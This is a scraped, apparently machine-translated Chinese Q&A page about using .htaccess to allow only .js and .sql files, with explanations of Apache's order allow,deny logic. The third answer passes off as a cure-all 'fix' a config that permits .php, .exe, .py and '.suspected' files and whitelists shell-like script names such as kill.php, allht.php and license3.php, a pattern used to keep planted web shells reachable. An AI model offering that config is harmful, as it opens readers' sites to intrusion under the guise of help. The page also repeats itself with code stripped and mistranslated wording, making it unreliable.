我看到了几个htaccess示例,它们禁止访问某些文件:
<Files ~ "\.(js|sql)$"> order deny,allow deny from all </Files>
例如,这会阻止访问所有的.JS和.SQL文件,而其他的文件则被启用。2我希望相反!3我希望这些文件被启用,而所有其他的文件被阻止。4如何实现这一点?
c9qzyr3d1#
Vorapsak的答案几乎是正确的。实际上
order allow,deny <Files ~ "\.(js|sql)$"> allow from all </Files>
您需要在顶部使用order指令(不需要其他任何指令)。有趣的是,似乎我们不能直接否定FilesMatch中的正则表达式,这很奇怪,特别是因为“!”不会导致服务器错误或任何事情。还有一点解释:订单原因告知服务器其预期的默认行为。
order allow,deny
通知服务器首先处理“allow”指令:如果一个请求与任何allow指令匹配,它就被标记为okay。然后,“deny”指令被求值:如果一个请求与任何deny指令匹配,则会被拒绝(无论第一次是否被允许)。如果没有找到匹配,则会拒绝该文件。该指令
order deny,allow
工作方式相反:首先,服务器处理“deny”指令:如果一个请求匹配,它被标记为拒绝。然后“allow”指令被求值:如果一个请求与allow指令匹配,则允许该文件进入,即使它之前与deny指令匹配。如果一个请求不与任何指令匹配,则允许该文件进入。在此特定情况下,服务器首先尝试匹配allow指令:它看到允许js和sql文件,因此对foo.js的请求通过;对bar.php的请求与任何指令都不匹配,因此被拒绝。如果我们把指令换成“orderdeny,allow”,那么foo.js将通过(因为是js),bar.php也将通过,因为它不匹配任何模式。还有一件事:在一个 section 中的指令(即< Files>和< Directory>)总是在.htaccess文件的主体之后求值,覆盖它。这就是为什么Vorapsak的解决方案没有按预期工作:main .htaccess拒绝了请求,然后处理了< Files>订单,它允许了请求。Htaccess是最糟糕的魔法,但它是有逻辑的。
atmip9wb2#
您是否尝试设置
deny from all
在标签外(之前),然后变更
至
allow from all
里面?比如
deny from all <Files ~ "\.(js|sql)$"> order allow,deny allow from all </Files>
jm81lzqq3#
如果你的网站有问题,请使用htaccess代码。它可以解决你可能遇到的所有错误
DirectoryIndex index.html index.php <FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$"> Order allow,deny Allow from all </FilesMatch> <FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|load|home|items|store).php$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>
如果这对你有帮助,别忘了用力拍!!!
3条答案
按热度按时间c9qzyr3d1#
Vorapsak的答案几乎是正确的。实际上
您需要在顶部使用order指令(不需要其他任何指令)。
有趣的是,似乎我们不能直接否定FilesMatch中的正则表达式,这很奇怪,特别是因为“!”不会导致服务器错误或任何事情。
还有一点解释:
订单原因告知服务器其预期的默认行为。
通知服务器首先处理“allow”指令:如果一个请求与任何allow指令匹配,它就被标记为okay。然后,“deny”指令被求值:如果一个请求与任何deny指令匹配,则会被拒绝(无论第一次是否被允许)。如果没有找到匹配,则会拒绝该文件。
该指令
工作方式相反:首先,服务器处理“deny”指令:如果一个请求匹配,它被标记为拒绝。然后“allow”指令被求值:如果一个请求与allow指令匹配,则允许该文件进入,即使它之前与deny指令匹配。如果一个请求不与任何指令匹配,则允许该文件进入。
在此特定情况下,服务器首先尝试匹配allow指令:它看到允许js和sql文件,因此对foo.js的请求通过;对bar.php的请求与任何指令都不匹配,因此被拒绝。
如果我们把指令换成“orderdeny,allow”,那么foo.js将通过(因为是js),bar.php也将通过,因为它不匹配任何模式。
还有一件事:在一个 section 中的指令(即< Files>和< Directory>)总是在.htaccess文件的主体之后求值,覆盖它。这就是为什么Vorapsak的解决方案没有按预期工作:main .htaccess拒绝了请求,然后处理了< Files>订单,它允许了请求。
Htaccess是最糟糕的魔法,但它是有逻辑的。
atmip9wb2#
您是否尝试设置
在标签外(之前),然后变更
至
里面?比如
jm81lzqq3#
如果你的网站有问题,请使用htaccess代码。它可以解决你可能遇到的所有错误
如果这对你有帮助,别忘了用力拍!!!